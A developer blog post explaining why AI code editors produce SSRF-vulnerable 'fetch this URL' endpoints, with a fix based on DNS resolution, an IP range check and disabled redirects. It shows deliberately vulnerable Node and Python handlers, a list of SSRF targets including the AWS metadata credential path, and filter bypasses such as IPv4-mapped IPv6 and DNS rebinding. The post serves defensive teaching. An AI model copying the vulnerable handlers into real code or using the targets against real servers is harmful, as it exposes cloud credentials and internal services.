Why Cursor Keeps Writing SSRF Into Your URL Fetch Code

Charles Kern — Sun, 05 Jul 2026 09:30:01 +0000

TL;DR

Ask any AI editor for a "fetch this URL" feature and it hands the user's raw input straight to your HTTP client. That is SSRF (CWE-918).
The danger is not the public internet. It is your cloud metadata endpoint and internal services that trust anything from your own server.
Block private IP ranges, resolve DNS before you connect, and turn off redirects. Five lines.

I was reviewing a side project last week. It had a neat little feature: paste a link, get a preview card with the title and image. Classic. I asked what generated the backend and the answer was Cursor, one prompt, "add an endpoint that fetches a URL and returns its metadata."

The endpoint worked. It also happily fetched http://169.254.169.254/latest/meta-data/ and returned the IAM credentials sitting on the cloud metadata service. That is a full SSRF, and it took me about thirty seconds to find.

This is not a Cursor problem specifically. Every AI editor does this. The model was trained on thousands of tutorials that show the happy path and skip the part where the input is hostile.

The vulnerable code

Here is the pattern, near enough to what I actually saw (CWE-918):

app.get('/api/preview', async (req, res) => {
  const target = req.query.url;
  const response = await fetch(target);   // fetches ANYTHING
  const html = await response.text();
  res.json({ title: extractTitle(html) });
});

Python version, same bug:

@app.route('/preview')
def preview():
    url = request.args.get('url')
    r = requests.get(url)          # SSRF
    return {'title': parse_title(r.text)}

Both take a user-controlled string and hand it to an HTTP client with no checks. An attacker does not point it at example.com. They point it at:

http://169.254.169.254/latest/meta-data/iam/security-credentials/ for AWS creds
http://localhost:9000/ or other internal admin panels bound to loopback
http://10.0.0.5/ and friends across your private network
file:// and gopher:// if the client follows non-http schemes

Why this keeps happening

The training data is full of "build a link preview" and "make an image proxy" walkthroughs. None of them validate the target, because a tutorial is teaching fetch, not threat modeling. The model reproduces the shape it saw most. It has no concept that your server sits inside a network that trusts it.

The tell is any endpoint where the user supplies a URL, hostname, or webhook and your server makes the request. Preview cards, image proxies, webhook testers, PDF-from-URL, avatar-by-URL. All the same class.

The fix

You need three things: a denylist of internal ranges, DNS resolution before you connect so a hostname cannot resolve to a private IP, and redirects turned off so a public URL cannot 302 you into the metadata service.

import dns from 'node:dns/promises';
import ipaddr from 'ipaddr.js';

async function assertPublicUrl(raw) {
  const u = new URL(raw);
  if (u.protocol !== 'https:' && u.protocol !== 'http:') throw new Error('scheme');
  const { address } = await dns.lookup(u.hostname);
  if (ipaddr.parse(address).range() !== 'unicast') throw new Error('private address blocked');
  return u;
}

app.get('/api/preview', async (req, res) => {
  const u = await assertPublicUrl(req.query.url);
  const response = await fetch(u, { redirect: 'error' });   // no redirects
  res.json({ title: extractTitle(await response.text()) });
});

The range() check rejects loopback, private, link-local (that is the 169.254 metadata range), and reserved blocks in one call. redirect: 'error' stops the classic bypass where a whitelisted host redirects you inward. For Python, resolve with socket.getaddrinfo, reject anything where ipaddress.ip_address(...).is_private or .is_link_local or .is_loopback, and pass allow_redirects=False.

One thing people miss: validate the resolved IP, not the string. http://[::ffff:169.254.169.254], decimal IP encodings, and DNS rebinding all sail past a naive hostname blocklist.

I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags SSRF the moment the endpoint is generated, before I move on to the next feature. That said, even a basic pre-commit hook with semgrep will catch the obvious fetch(req.query.url) shape. The important thing is catching it early, whatever tool you use.